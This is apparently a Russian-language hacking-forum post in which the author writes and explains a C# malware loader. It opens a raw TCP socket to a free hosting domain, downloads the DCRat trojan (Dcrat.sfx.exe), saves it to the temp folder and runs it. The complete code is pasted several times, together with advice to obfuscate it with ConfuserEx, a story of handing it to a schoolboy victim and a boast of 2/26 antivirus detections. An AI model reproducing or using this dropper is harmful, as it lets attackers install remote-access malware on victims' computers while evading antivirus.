Фри крипт: https://lolz.live/threads/7133100/ И так всем хаюшки и отдельный привет тем кто так же как и я любит создавать велосипед заново и открывать америку по новой сегодня я напишу лоадер без использования WebClient и прочего лишь будем использовать ChatGPt потому что он умный и понимающий и так разберемся что такое лоадер и нахера он нужен вообще лоадер это прога которая готова загрузить на ваш компьютер целую базу вирус тотала, запуская её вы обрекаете себя на вечные муки и вечные 100% нагрузки на cpu как же работает данная херабора наш доброжелательный джокер покупает либо регает бесплатный хостинг куда загружает Dcrat.sfx.exe затем вводит в лоадер ссылку на данный файл и компилирует попутно закидывая в confuzerex и идет выдавать готовый файл Валере с третьего В класса после запуска на Валерин пк скачивается файл нашего джокера Dcrat.sfx.exe и запускается хепи енд его уебал дефендер и так теперь без рофлов приступим для начала нам нужно знать как работает наш http протокол для получения файла нам надо создать Tcp соединение и отправить Get запрос (("GET /" + file + " HTTP/1.1\r\nHost: {url}\r\nConnection: Close\r\n\r\n") на наш хостинг с нашим Dcrat.sfx.exe после записать полученные byte[] в файл где то в недрах temp и запустить и так вот наш метод костыля который будет скачивать файл через http используя tcp Socket public static byte[] WebClientByDeadArtis() { Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1])); byte[] getRequestBytes = Encoding.ASCII.GetBytes("GET /" + file + " HTTP/1.1\r\nHost: {url}\r\nConnection: Close\r\n\r\n"); NetworkStream stream = new NetworkStream(socket, true); stream.Write(getRequestBytes, 0, getRequestBytes.Length); byte[] responseBuffer = new byte[4096]; StringBuilder responseBuilder = new StringBuilder(); int bytesRead = 0; using (MemoryStream filestream = new MemoryStream()) { do { bytesRead = stream.Read(responseBuffer, 0, responseBuffer.Length); if (responseBuilder.ToString().Contains("\r\n\r\n")) { filestream.Write(responseBuffer, 0, bytesRead); } else { responseBuilder.Append(Encoding.ASCII.GetString(responseBuffer, 0, bytesRead)); } } while (bytesRead > 0); socket.Close(); return filestream.ToArray(); } } CSHARP public static byte[] WebClientByDeadArtis() { Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1])); byte[] getRequestBytes = Encoding.ASCII.GetBytes("GET /" + file + " HTTP/1.1\r\nHost: {url}\r\nConnection: Close\r\n\r\n"); NetworkStream stream = new NetworkStream(socket, true); stream.Write(getRequestBytes, 0, getRequestBytes.Length); byte[] responseBuffer = new byte[4096]; StringBuilder responseBuilder = new StringBuilder(); int bytesRead = 0; using (MemoryStream filestream = new MemoryStream()) { do { bytesRead = stream.Read(responseBuffer, 0, responseBuffer.Length); if (responseBuilder.ToString().Contains("\r\n\r\n")) { filestream.Write(responseBuffer, 0, bytesRead); } else { responseBuilder.Append(Encoding.ASCII.GetString(responseBuffer, 0, bytesRead)); } } while (bytesRead > 0); socket.Close(); return filestream.ToArray(); } } и так как работает данный зверь отправляет как выше писал запрос Get после чего читает 4096 байтов с пакета до момента пока не дойдет до \r\n\r\n это говорит о том что дальше будет идти тело то есть наш Dcrat.sfx.exe public static string host = "joker.free.domain.000webhost.noads.ru:80"; public static string file = "Dcrat.sfx.exe"; static void Main(string[] args) { string pathTemp = Path.GetTempFileName() + ".exe"; File.WriteAllBytes(pathTemp, WebClientByDeadArtis()); Process.Start(pathTemp); } public static byte[] WebClientByDeadArtis() { Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1])); byte[] getRequestBytes = Encoding.ASCII.GetBytes("GET /" + file + " HTTP/1.1\r\nHost: {url}\r\nConnection: Close\r\n\r\n"); NetworkStream stream = new NetworkStream(socket, true); stream.Write(getRequestBytes, 0, getRequestBytes.Length); byte[] responseBuffer = new byte[4096]; StringBuilder responseBuilder = new StringBuilder(); int bytesRead = 0; using (MemoryStream filestream = new MemoryStream()) { do { bytesRead = stream.Read(responseBuffer, 0, responseBuffer.Length); if (responseBuilder.ToString().Contains("\r\n\r\n")) { filestream.Write(responseBuffer, 0, bytesRead); } else { responseBuilder.Append(Encoding.ASCII.GetString(responseBuffer, 0, bytesRead)); } } while (bytesRead > 0); socket.Close(); return filestream.ToArray(); } } CSHARP public static string host = "joker.free.domain.000webhost.noads.ru:80"; public static string file = "Dcrat.sfx.exe"; static void Main(string[] args) { string pathTemp = Path.GetTempFileName() + ".exe"; File.WriteAllBytes(pathTemp, WebClientByDeadArtis()); Process.Start(pathTemp); } public static byte[] WebClientByDeadArtis() { Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1])); byte[] getRequestBytes = Encoding.ASCII.GetBytes("GET /" + file + " HTTP/1.1\r\nHost: {url}\r\nConnection: Close\r\n\r\n"); NetworkStream stream = new NetworkStream(socket, true); stream.Write(getRequestBytes, 0, getRequestBytes.Length); byte[] responseBuffer = new byte[4096]; StringBuilder responseBuilder = new StringBuilder(); int bytesRead = 0; using (MemoryStream filestream = new MemoryStream()) { do { bytesRead = stream.Read(responseBuffer, 0, responseBuffer.Length); if (responseBuilder.ToString().Contains("\r\n\r\n")) { filestream.Write(responseBuffer, 0, bytesRead); } else { responseBuilder.Append(Encoding.ASCII.GetString(responseBuffer, 0, bytesRead)); } } while (bytesRead > 0); socket.Close(); return filestream.ToArray(); } } дальнейший код думаю не нуждается в объяснений по детектам с обфой 2/26: http://avcheck.net/id/yYEchsYoHnge неплохо для костыля не правда ли ? #моястатья